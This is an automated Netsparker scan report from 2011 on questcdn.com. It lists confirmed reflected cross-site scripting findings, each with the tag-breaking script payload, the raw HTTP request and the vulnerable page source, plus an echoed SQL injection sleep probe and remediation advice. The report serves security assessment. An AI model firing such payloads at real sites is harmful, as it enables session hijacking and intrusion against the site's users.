XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection
Netsparker - Scan Report Summary
|
TARGET URL
|
http://www.questcdn.com/
|
SCAN DATE
|
3/1/2011 5:45:00 PM
|
REPORT DATE
|
3/1/2011 7:14:12 PM
|
SCAN DURATION
|
00:05:30
|
|
Total Requests
Average Speed
req/sec.
|
21
identified
11
confirmed
0
critical
1
informational
|
GHDB, DORK Tests
GHDB, DORK Tests
|
PROFILE
|
Previous Settings
|
ENABLED ENGINES
|
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
|
|
Authentication
Scheduled
|
VULNERABILITIES
Vulnerabilities
|
|
|
Cross-site Scripting
Cross-site Scripting
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
- Hi-jacking users' active session
- Changing the look of the page within the victims browser.
- Mounting a successful phishing attack.
- Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
- /questcdn/
/questcdn/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
jobPK
|
GET
|
'"--></style></script><script>alert(0x0001F0)</script>
|
loginPagePath
|
GET
|
index.html
|
nextPage
|
GET
|
3
|
password
|
GET
|
3
|
root_page
|
GET
|
true
|
Request
GET /questcdn/?jobPK='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0001F0)%3C/script%3E&loginPagePath=index.html&nextPage=3&password=3&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:08 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:08 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 30383
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = 'projects';
var sCurrentSubTab = '1));SELECT pg_sleep(25)--';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[projects] sCurrentSubTab:[1));SELECT pg_sleep(25)--]');
setCurrentTab(null, 'projects');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="3"/> <input type="hidden" name="jobPK" value="'"--></style></script><script>netsparker(0x0001F0)</script>"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="projectsMenuClick(this);" id="find" title="Find Projects"><span>Find</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="myprojects" title="My Projects"><span>My Projects</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="results" title="View Results"><span>Results</span></a></li> </ul> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2&qu..
- /questcdn/setTab/projects/MyProjects/my_projects.html
/questcdn/setTab/projects/MyProjects/my_projects.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
current_tab
|
GET
|
'><script>alert(9)</script>
|
current_sub_tab
|
GET
|
myprojects
|
Request
GET /questcdn/setTab/projects/MyProjects/my_projects.html?current_tab='%3E%3Cscript%3Enetsparker(9)%3C/script%3E¤t_sub_tab=myprojects HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:30 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:30 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 28913
Content-Type: text/html;charset=utf-8
<!--$Header: planholder_list.html, 11/24/2009, Eric Nelsen$--><html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html;charset=iso-8859-1"/> <title>QuestCDN: My Projects</title> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/verdana.css" media="screen"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/sweetTitlescss/sweetTitles.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.css"/> <link rel="stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxToolbar/codebase/skins/dhtmlxtoolbar_dhx_skyblue.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/skin_qcdn.css"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/connector.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/sweetTitlesjs/sweetTitles.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_dhtmlxgrid.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_XHConn.js"></script><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = ''><script>netsparker(9)</script>';
var sCurrentSubTab = 'myprojects';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:['><script>netsparker(9)</script>] sCurrentSubTab:[myprojects]');
setCurrentTab(null, ''><script>netsparker(9)</script>');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<!--Override some of the settings for the tooltips--> <style type="text/css"> body div#toolTip { background:white;border:1px double black; } body div#toolTip p { color:black; } </style> <script type="text/javascript" language="JavaScript1.2">var gridServerUrl = '/questcdn/action/myProjectConnector';var gridCategories = null;var categories = new Array();function doInitDoc(){ gridCategories = new QcdnGridCategories('/questcdn', 'mygrid_container', gridServerUrl, 'user_no=&member_no=&allMember='); gridCategories.setDataProcessorUrl(gridServerUrl); gridCategories.setShowRecordCount(false); gridCategories.addCategory(1,'<b>' + 'Not Yet Bid' + '</b>','Bid Date is in the Future'); gridCategories.addCategory(2,'<b>' + 'Results Pending' + '</b>','Bid Date is in the Past and the results HAVE NOT been posted'); gridCategories.addCategory(3,'<b>' + 'Results Posted' + '</b>','Bid Date is in the Past and the results HAVE been posted'); gridCategories.expandAll(true); gridCategories.load(categoryGridCreated);}function categoryGridCreated(grid, gridHelper){ grid.setHeader(' ,Name,City,County,State,Bid Date,Solicitor,Owner,eBidDoc Available,Addendum Count,Q & A Posted,User,Status,JobNo,UserNo'); gridHelper.setColumnIds('INMYPROJ,NAME,CITY,COUNTY,STATE,BID_DATE,SOLICITOR,OWNER,DOCS_AVAIL,ADDENDA,QA_AVAIL,UNAME,STATUS,JOB_NO,USER_NO'); gridHelper.disableTooltipsByName(null); gridHelper.useSweetTitles(); grid.setInitWidths('30,200,100,80,28,130,140,150,90,90,80,80,0,0,0'); gridHelper.hideColumns('STATUS,JOB_NO,USER_NO'); //All columns that you want to access by grid.cellById, etc. must be reference here in setColTypes gridHelper.setColTypes('ch,link,ro,ro,ro,datetime'); grid.setColSorting('int,ciSort,ciSort,ciSort,ciSort,dtSort,ciSort,ciSort,ciSort,int,ciSort,ciSort,ciSort,int,int'); gridHelper.setSecondarySortColumn(gridHelper.NAME); grid.setSkin('qa');}function expandAll(doOpen){ gridCategories.expandAll(doOpen);}function previewJob(jobNo, rowId){ var url; url = '/questcdn/projects/prj_browse/project_browse.html?projbrowse=true&jobNo=' + jobNo + '&rowId=' + rowId; //url = '/questcdn/action/showProjPreviewPage?tooltip=true&preview=true&JobPK=' + jobNo; var w = window.open(url,'projectBrowse','height=800,width=600,resizable=yes,scrollbars=yes'); w.focus();}function showJob(jobNo, rowId){// document.userdata.ProjectNo.value = '' + jobNo;// document.userdata.submit(); previewJob(jobNo, rowId);}function NextProject(jobNo, rowId){ var obj = gridCategories.nextProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function PreviousProject(jobNo, rowId){ var obj = gridCategories.previousProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function showProjects(){ location.href='/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects' + '&allMember=true' ;}//function deleteSelected()//{// var i, grid, gridHelper, selId;// for (var i = 0; i < ..
- /questcdn/account/acc_mod/acc_mod.html
/questcdn/account/acc_mod/acc_mod.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
jobPK
|
GET
|
'"--></style></script><script>alert(0x0001FA)</script>
|
loginPagePath
|
GET
|
index.html
|
nextPage
|
GET
|
3
|
password
|
GET
|
3
|
root_page
|
GET
|
true
|
Request
GET /questcdn/account/acc_mod/acc_mod.html?jobPK='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0001FA)%3C/script%3E&loginPagePath=index.html&nextPage=3&password=3&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/account/acc_mod/acc_mod.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:37 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:37 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29913
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = ''><script>netsparker(9)</script>';
var sCurrentSubTab = 'myprojects';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:['><script>netsparker(9)</script>] sCurrentSubTab:[myprojects]');
setCurrentTab(null, ''><script>netsparker(9)</script>');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
